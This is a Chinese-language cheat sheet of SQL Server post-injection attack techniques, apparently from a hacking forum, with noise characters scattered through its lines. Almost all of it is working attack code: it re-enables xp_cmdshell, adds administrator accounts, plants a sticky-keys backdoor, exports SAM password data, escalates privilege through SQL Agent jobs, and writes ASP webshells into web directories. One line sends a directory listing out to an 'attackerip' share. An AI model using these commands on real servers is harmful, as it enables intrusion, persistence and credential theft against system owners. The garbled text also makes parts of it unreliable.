1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号$ k _ c" p8 C6 d2 @
恢复方法:查询分离器连接后,( l& O8 }; ?) q% J8 B4 N
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 1 r; ?5 ?+ W1 u* \- G; E) b
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' / i5 V+ j4 X. f& m0 |7 V
然后按F5键命令执行完毕& \) D- | z, R" a; C' _
% y/ F- ~/ m( j# P5 A2 @- ?. m2 m2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
+ M4 ^ E# J3 U7 G) A: u恢复方法:查询分离器连接后,1 H* v8 r% P5 V5 F: M( x9 T- E( S
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"5 r4 o3 ^7 |, ~5 P, B8 g, w
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'8 a0 J" i6 O* x! p, D4 U. [
然后按F5键命令执行完毕; x6 w# G. m* s+ U
) p+ f/ ~: K9 T3 ^; t" `8 l4 \6 J3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)# ~9 P9 w/ r4 l% _% ?
恢复方法:查询分离器连接后,
8 O |! X/ S! C Z: s8 X+ y第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
# i( l: }; _# P* I第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
' d" f$ G# B$ u N- L6 J) Q1 M% i然后按F5键命令执行完毕: u2 V9 I* ^' h2 m
6 ?9 \2 J, o7 m
4 终极方法.8 H5 ^9 J) C5 D& w6 G9 o$ [* I
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:7 k7 p8 p1 ^: {% p# R" i A6 O
查询分离器连接后,0 S. P. X% V6 O+ _: [" F7 I3 p4 D f
2000servser系统:
5 f/ y3 I3 a+ x y0 sdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
: O2 {0 U" z$ o5 s& @
+ \+ Q5 j% S( ^9 T/ R bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
# f. F' M! v) X% @: @
( v. r/ E6 V6 {9 p/ {xp或2003server系统:
! B, Y# v8 ?' A7 G0 r' Q P w- T; @/ h( h* D) P$ s3 X
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
: J w" m, V* K2 F/ L
% T& X. h" X. e& Pdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'+ a5 S; N: h2 u; [$ k# U0 A
1 B7 o% s, M: r0 @9 `
. J# @1 o2 [, j0 {. a+ B9 M8 S5 E
五个SHIFT' j4 E+ {+ w$ b7 K5 U' Y0 D
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';0 w8 Z+ c# _0 a- K, V2 [; F) N
) R9 l+ a6 h/ [0 Y. \3 t/ _9 K$ Bdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; Z9 ^2 r" |1 ?
3 U- ^0 k% G& A, \6 Y) Txp_cmdshell执行命令另一种方法) s* u$ e4 P$ v' e" J/ j5 u
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' + b- v8 |1 _5 G; x; i( q
: i- z) E% _& v$ i
判断存储扩展是否存在
s7 {+ t' c% W: |7 N9 B; f6 }7 {Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'0 S6 U- M1 n: N+ H- k/ M
返回结果为1就OK& S, ?6 h/ Y/ ?* r8 y
; I% C/ [! w# ^9 A+ L- A0 N" A. M# ~& m
上传xplog70.dll恢复xp_cmdshell语句:9 c$ i( E1 R- M( ~2 R8 @# x
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'6 H" B8 D8 _5 x4 s& ^: \1 f
# t# @* f+ L8 e% W2 W) U7 r- W J
否则上传xplog7.0.dll, \' X0 M/ N3 m8 D4 ]5 y/ m
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll': w8 M ?6 P! N" ?5 L* V- I" g
' V% g; ~, |$ {- I: }) M1 a
/ I' j/ `- G, V. H1 e3 R) q
6 f/ j% V4 r; l+ a$ g) ]首先开启沙盘模式:
* M3 f3 s( X/ J; \4 Oexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',11 _. Q; H+ Y2 S" }* q
4 x& v3 @3 L$ g3 v; ?: v7 L6 k
然后利用jet.oledb执行系统命令5 V( q6 ~8 `( X$ S+ F
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'): U6 R% S0 H! C* ~5 E* x0 o
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了* K( u+ j' u) A, ~8 U2 M
; ?2 x& p# _& O6 F6 {* |- O0 A. z* u8 C
7 R5 E9 w0 G! U1 H+ N! v* n- `+ i恢复过程sp_addextendedproc 如下: + \7 h( ]7 |9 x: ]
create procedure sp_addextendedproc --- 1996/08/30 20:13 ; K4 E' v! p: O3 ~. t! Q
@functname nvarchar(517),/* (owner.)name of function to call */ 2 q' u8 o, T) S7 W0 E5 A' T# d
@dllname varchar(255)/* name of DLL containing function */
* T- P1 e$ b' U& P% }as
5 G$ o/ r& `* ^# r8 Z' M& e/ \set implicit_transactions off
$ k5 g3 B9 w. g& p0 q6 [ i# B4 wif @@trancount > 0
+ c# I @ C* B; Gbegin
+ f) l! A% S. I0 C; M9 U9 \5 Iraiserror(15002,-1,-1,'sp_addextendedproc')
% _$ V+ P6 u% _return (1) 7 q* l( f; W: F* D% f2 _# E+ w* D
end 4 Y4 x# f S8 d) o. q
dbcc addextendedproc( @functname, @dllname) $ P# ~2 X& V* ?# d, U2 ~/ {
return (0) -- sp_addextendedproc
5 W) p/ x. s+ B% @! i5 GGO ; j. x! h; k3 B4 b: v
5 _, ]; _4 }( p7 [+ S' W
7 R" b4 l9 Y1 ^# Q1 L# y
# C6 Z8 @2 k5 Y3 `导出管理员密码文件
" k# F6 T! B1 nsa默认可以读sam键.应该。4 w; y! [1 i! ?- }1 }
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg* `6 a6 d! F: i# j
net user administrator test
+ y" z2 o: U4 C2 m用administrator登陆.* X6 k+ _1 `9 ]8 i7 [# w, R* ]
用完机器后
3 O+ n7 ]! H1 o, P+ c8 @reg import c:\test.reg5 a1 s- S* C- p$ L& L8 u8 z% B F
根本不用克隆.6 x, T3 [( g1 b7 Z$ C
找到对应的sid. 5 V. R( q/ M% J! |9 n
" Q1 k: k) R1 |6 F6 _9 r) \, T3 W2 r+ a$ W0 X' J
$ {" E% Y+ K8 i! }7 F" N
恢复所有存储过程
. Q" A( D; u0 [6 N( quse master
+ c2 }! b* z" d! [' n& `" Pexec sp_addextendedproc xp_enumgroups,'xplog70.dll' " B3 t b3 ]( c0 I; p+ y" ]; p3 m
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 1 a$ \3 G6 T; Y, a }' @
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' ' c# \5 Y$ V6 E
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
. e5 {$ U L/ Q* d8 lexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' % B! r& z( `3 K" N: W. n
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
3 R) K3 ^0 c# m$ jexec sp_addextendedproc sp_OADestroy,'odsole70.dll' 0 b% k; a7 h4 ]$ Z: ~3 Q
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
/ I2 R# X" h2 \5 Dexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
4 @4 J/ B4 [ y# F' c- Aexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
4 \# J2 I8 C; c$ Aexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
) Z7 K; ]+ `! R/ C' ~exec sp_addextendedproc sp_OAStop,'odsole70.dll'
8 X" F7 J( j* R6 kexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' - \* s9 _; T( I' e I, I j$ M% D
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
+ u9 ~8 i0 ~! Y& H4 h. Oexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
, M5 P7 Q, ~' q9 _. D& d2 pexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 0 f& |2 x; u Z# ~% ^* c
exec sp_addextendedproc xp_regread,'xpstar.dll'
* {; B2 r5 \+ v* x3 C# \5 Mexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 4 s/ a8 V5 e% n P+ v; ^. s( [
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
4 T. r- m1 a& i% y7 S. F* Fexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
5 \& ~, c' ^5 G6 R3 a4 I
3 j! ~5 ^+ V o" C7 f! n5 t5 p5 ^* V; u" {$ ^! C/ ]
建立读文件的存储过程2 O2 L) J7 S' W# c+ ~; S& Q& B
Create proc sp_readTextFile @filename sysname
& E6 p5 A0 O- U4 R+ jas$ v8 T$ M; \" ~6 R- E/ E5 C
' C! c1 `- h) w
begin
0 c& ~3 c& l; G3 R7 e) G, a# p set nocount on
' m# m/ S; \8 d Create table #tempfile (line varchar(8000))
6 A: [" ~3 ~! y$ | V2 p, o exec ('bulk insert #tempfile from "' + @filename + '"')
0 g$ t S/ C) B( L select * from #tempfile
, k, [! }# L+ s/ u# ^$ W, r8 a drop table #tempfile/ y* F1 X& ~& `; z Z* ]1 X
End: W$ o8 y. j; t- I
, r: r! R9 m) K' L, u
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
: u$ a* n. c! D- g5 F- e查看登录用户$ H2 }5 B: L2 Z) }6 S7 N9 ?# l1 j
Select * from sysxlogins2 j6 c1 t( [" H/ e( E+ u, `( n( ?
9 e( C5 w! ~7 Z. N) s& r$ C+ J; _
把文件内容读取到表中
8 X% c) |9 H7 u8 c% r4 Y$ n+ LBULK INSERT tmp from "c:\test.txt"
. ]) o; |5 `* W) d( _* y* xdElete from 表名 清理表里的内容
& M/ V: c5 K7 [9 R4 P/ |% Ucreate table b_test(fn nvarchar(4000));建一个表,字段为fn( H: g- J# v M) q! q% q
3 S' \, ^; R& b9 e6 x1 E, w* F
* Q, t# T, b: N' ?3 Z! r加sa用户% ^4 u* R: D0 l" Q! Q) @
exec master.dbo.sp_addlogin user,pass;8 q+ r: t) z3 h1 [) |+ W1 ~
exec master.dbo.sp_addsrvrolemember user,sysadmin: @3 v+ Q, G& W
C5 ~! Y U6 z$ ?( X) D# }, `* N# r7 I: p5 V- B: a% m
, b. ^3 q- b+ d+ O# S) ?读文件代码; x. Z, c* V) ]5 q1 `
declare @o int, @f int, @t int, @ret int, v7 q8 u4 G0 D0 J1 i0 m
declare @line varchar(8000) z4 N" B1 A$ e S9 E
exec sp_oacreate 'scripting.filesystemobject', @o out* S/ {; z0 p% `& y; |6 p6 B. L
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 15 M. x9 {, V) A
exec @ret = sp_oamethod @f, 'readline', @line out) C. z, _- G( O1 f5 C
while( @ret = 0 )
. Y% ^( d4 L2 i5 F- vbegin
$ v, [1 n) d$ S) zprint @line
% p. p' Q* A1 i# B5 Y3 Oexec @ret = sp_oamethod @f, 'readline', @line out
1 W, c5 V% t5 J) x1 N* qend
& ~6 ?* Y/ q L. P! x5 a& `; V
" w0 S0 K3 @% b# v1 [
! ]! _2 B5 v9 Q6 W! A: a' E' }写文件代码:
% U$ I+ T5 l2 b# G$ e5 Pdeclare @o int, @f int, @t int, @ret int0 {$ J1 `$ g9 N. `; u) w! G. n- u
exec sp_oacreate 'scripting.filesystemobject', @o out
9 P# c S+ K" {# Yexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
3 r9 s4 d# a+ Y: O5 L0 Qexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
" t+ @! j# O" c
$ I$ g1 `: N2 Z/ f _# R/ O. n
6 }, b/ Q, O$ N" n. ^添加lake2 shell
0 j2 c) b" ~ V7 {' {8 J+ tsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'! u+ F/ `, T* N7 V- }. [
sp_dropextendedproc xp_lake28 W2 |+ V% L2 w6 |# f/ }) c, a4 B
EXEC xp_lake2 'net user'
# w( K4 ?3 a" C* t7 M4 ~5 x
# n. U5 ~& H# i4 X, ?0 G( N* u7 |& V) g0 [+ r, E& V
得到硬盘文件信息 * g$ f7 w5 S5 l! {
--参数说明:目录名,目录深度,是否显示文件 6 Q, x5 ?, h! a; y: g* K0 L
execute master..xp_dirtree 'c:'
' u/ D/ E9 D' Z i& n7 kexecute master..xp_dirtree 'c:',1 6 r) Y3 E0 e5 a3 [# V! Z( E* X! s
execute master..xp_dirtree 'c:',1,1 1 w$ u* X' ]/ H N
) Y/ H3 H- c. \* h9 E3 w# o: z% } K& @% O& f0 @- r
读serv-u配置信息
2 ?" O. _$ i6 N; t/ w1 Z9 ?- oexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
0 O1 A& \& e/ t$ s1 |exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
# O! ^0 c" p: O- |5 L. F" e2 H
6 }' s" v% h" @2 E0 ^6 n通过xp_regwrite写SHIFT后门$ i" S5 N0 x. P* r. r0 h$ A* i
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
8 l5 `& h) s, G2 ], E( Q( S" T1 A; p" G. P. t$ P& [% ^
8 X( p/ }2 G4 b9 r
6 N' n$ P; \- O7 G- V T$ b D3 {找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
4 ?: h: ?' s; P! l8 {exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了# ]& `" D/ S5 o) u% t. n. A
5 n7 E g, h0 m6 h$ N% n" C$ d
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'& k+ ]+ ?% W) Z# L, T& Z
& U& o: V- s/ ?' q& t* }- a
# u. x* j3 u( y) N7 m f9 l
* Z* m* e. e* V( jsql server 2005下开启xp_cmdshell的办法
6 N! y3 ]% m" ~: ~6 {! O
1 {! ] e0 @( w4 i2 H, A9 m3 {4 S4 |EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;1 b O _- g+ K) y, y3 L
4 A1 G1 @) v, PSQL2005开启'OPENROWSET'支持的方法:. i4 k V+ u; K0 a% ]
! f* G8 T5 E) O8 t7 P: fexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
) P0 ~/ m! ^- F$ f2 @6 i+ J
5 z7 `) Y. R: SSQL2005开启'sp_oacreate'支持的方法:2 I/ F% p; k6 C& ?" Y9 I
. @4 a" a! {( o4 G. B$ {$ ]
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;' U. ?+ S1 W. b; H* o
- y, \* @4 i4 ?1 J" F/ X# @2 ?( k' f
. X' R1 M4 r7 o2 N* p( \2 i- m/ B( o( j, x1 D$ [1 {1 U
; E7 B- J+ z; r2 P
6 V" t" M0 {7 J7 B" a" c7 k D Z* z7 p( w/ s; z
, T! R/ X/ `$ ~# j8 W
$ g6 L9 M& Q3 J2 {1 i
8 v) b: Z% }" \3 F4 N9 r5 P
8 K9 v' \5 z0 H. w0 c* O6 G
- P9 }( \* [; ^- S( V1 S. j6 T5 |2 [; U) B/ p3 d- c& R0 y/ l
* |8 q8 R# X3 E6 u
. [$ t* w+ M* n( d7 I |! b L2 V" N' Z# J) d7 ~* @
7 \& q9 X8 N! u) S W! y# a4 x, A
/ w# E2 \/ B2 t& j
4 ?% o& X! S& j [( Y" l* D) h+ Y) d# d) I% L
7 A* j z9 W: q
% ~) o( q! O. r$ Q, d' x1 |, t. j- ~4 l& [
' V$ J! J* C* k; B
+ |( {" V; x C* S! c/ a
以下方面不知道能不能成功暂且留下研究哈:) ^6 w, D1 u9 ~/ K8 y
4)' q# i- h, e; J4 R4 s. l
use msdb; --这儿不要是master哟7 a+ ?9 _/ @ f7 y5 S& W l
exec sp_add_job @job_name= czy82 ;# M, M, U1 s. F
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
1 P0 s! ^ h' uexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
$ W' `) s" m$ ]& j% D0 wexec sp_start_job @job_name= czy82 ;
7 T6 m1 w$ ^+ ~( b" g0 v6 s
2 s4 o2 l1 B" i0 L利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以( P# h; J0 |7 v9 P9 F
执行tsql语句了.
" F+ n1 {% b; G1 C; @对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
" x) _# | e. |9 Q第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
( ?* W9 L. G [4 u( v) snet start SQLSERVERAGENT
$ Y( Z2 M& F9 _' c6 O
* v2 `6 h. U8 P3 j8 |+ t对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的/ b7 i3 }/ R$ J* k2 ~: T0 _
USE msdb, c( `, O% y: j2 E4 E; T3 p
EXEC sp_add_job @job_name = GetSystemOnSQL ,% U) l! S* N+ E/ F3 w0 p
@enabled = 1,
% R. h/ Z- s0 n: @( P" V$ D5 R4 z@description = This will give a low privileged user access to
9 r6 V% `: l: g1 O% S+ cxp_cmdshell ,+ ]# ~# x3 M& o# W. \8 P s
@delete_level = 1
1 D0 |3 w% {# r9 i+ NEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,0 H/ }0 u7 b D7 ?1 ]
@step_name = Exec my sql ,6 A) R/ D ~, q* m$ C
@subsystem = TSQL ,! ~8 S% ?9 ]7 ?, l# M0 r
@command = exec master..xp_execresultset N select exec
' Z0 D1 N/ Y/ b5 Z' B0 K- e2 amaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master * L, W2 U" m9 v$ h: {* K6 \& s
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
+ l, q8 ]3 T S$ s@server_name = 你的SQL的服务器名 ; l: k: R+ d5 c, X
EXEC sp_start_job @job_name = GetSystemOnSQL : L$ l6 ]$ D, s
7 A$ m0 c# \9 h; f6 }; ^
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
& W5 F U; ~' B! R/ d. x' r才让我们可以以public执行xp_cmdshell
: X" ]& @$ {" J- q$ }4 {% F! W
; U) O0 j4 X' ^) O c5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
2 m0 p2 W* Z7 D) R在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
9 q; I7 o3 a8 C; [* f: j8 l3 _' d( E
USE msdb
+ \6 G, l/ E: [/ cEXEC sp_add_job @job_name = ArbitraryFilecreate ,+ C2 J& V/ r4 j4 ^5 T# \
@enabled = 1,
# b& t1 i7 H9 T5 `6 x@description = This will create a file called c:\sqlafc123.txt ,
+ Z& v1 I0 V7 D' X ]% a" Y@delete_level = 16 ]6 F$ Q/ _( {8 [4 F [
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
7 _2 T. |( Z* a! |@step_name = SQLAFC ,
+ L: j: l: s- c; y, s. v1 Q@subsystem = TSQL ,
7 a: i1 z& O: Q o, m@command = select hello, this file was created by the SQL Agent. ,9 i9 H3 ]( v5 M" c/ Q( q, \4 |5 K
@output_file_name = c:\sqlafc123.txt
7 T( R7 q1 [' P0 }. M& Z8 pEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,7 m# e2 m: ?! X9 @9 z6 z
@server_name = SERVER_NAME
8 r1 U# J# n& wEXEC sp_start_job @job_name = ArbitraryFilecreate
/ R$ l& A# E$ i4 P2 G0 P/ `
! l+ Q: X) w7 `如果subsystem选的是:tsql,在生成的文件的头部有如下内容
1 k2 w) H/ u* d- T
( @6 m2 P# J2 B0 \??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:194 H- h. R) X! ]; B9 O$ v. D( s- g
----------------------------------------------
/ v2 a' T( D: u4 o- ]2 u, Thello, this file was created by the SQL Agent.
* U- K8 Q! \ p( j* h) |) z
( X# ^2 N. x3 B/ M* D(1 ?????)
9 H6 \6 Q- n3 n9 R9 `
, t- F; w( s' w5 j- `3 y所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
- [7 `* D8 f$ i4 U! y命令的vbs文件到启动目录!! P) h6 O5 u5 z- Z8 m9 H/ p
" g# \& A; l7 F+ C
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
. ~ }% |" S5 \/ j关于sp_MScopyscriptfile 看下面的例子
. c) ]/ R# u7 ydeclare @command varchar(100)
+ t/ l! A% ]+ d7 {declare @scripfile varchar(200) . H1 n' O4 \( p4 j! v
set concat_null_yields_null off " S! e/ [4 b- W6 e# g9 ]$ f$ b- o6 U
select @command= dir c:\ > "\\attackerip\share\dir.txt" $ J' l- f- q7 D" K) l
select @scripfile= c:\autoexec.bat > nul" | @command | rd " 5 Y R( T( X$ t% X. q$ L [
exec sp_MScopyscriptfile @scripfile , - ?2 M7 e. [5 |. W1 |( N8 n# t
9 h, p8 m8 M D/ J9 q: C" D这两个东东都还在测试试哟
" T) P7 }: ]# | V5 F7 U: ]让MSSQL的public用户得到一个本机的web shell 0 y2 \ H t( {9 R9 b
, M8 r+ V# f& c. ~sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,1 v$ ], g; F5 _) `1 x: q8 l
--@query= select <img src=vbscript:msgbox(now())> * q1 s( ?3 m/ d- Q, k
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
8 i" S! M& K8 I X2 B2 p R1 ~@query= select
" J. x" e1 b1 m- R<%On Error Resume Next ! A/ U( n2 L, o0 F8 B
Set oscript = Server.createObject("wscript.SHELL") q- r) ~! _& S- W+ z7 B, ~- S
Set oscriptNet = Server.createObject("wscript.NETWORK") $ T( N( M) n. Y" g& f
Set oFileSys = Server.createObject("scripting.FileSystemObject") , M2 a' K# T6 H1 d& x
szCMD = Request.Form(".CMD")
! F5 s' t% g- |, QIf (szCMD <>"")Then
& g8 Q9 c( x9 ?6 o: Q9 @* GszTempFile = "C:\" & oFileSys.GetTempName() 8 k* m2 D6 e* K! B* J, `
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) & Q0 U+ A: V" Q) A8 ~. w: R
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
1 ^4 f; C4 F' GEnd If %> P, w" c1 Z# L, }: h! F
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
! E( N1 T6 ?: W<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> + A! i& W/ H* s0 {" S7 n/ y. C. R
</FORM>< RE>
& V+ ?- M% k1 Y8 V% d/ k<% If (IsObject(oFile))Then 9 Y" V! o7 `6 H9 M j2 t
On Error Resume Next
+ ^/ T. T. N! H8 X+ ^! v) eResponse.Write Server.HTMLEncode(oFile.ReadAll) 3 y4 _' N' z9 ?
oFile.Close
8 F+ e9 T, ]& yCall oFileSys.deleteFile(szTempFile, True) 2 A( o. Z3 A7 a3 b/ m3 e
End If%> 5 |) m' b* x1 U# U& n, Q4 Q
</BODY></HTML>
7 ?% [; b$ X* D; ]4 N- B- h |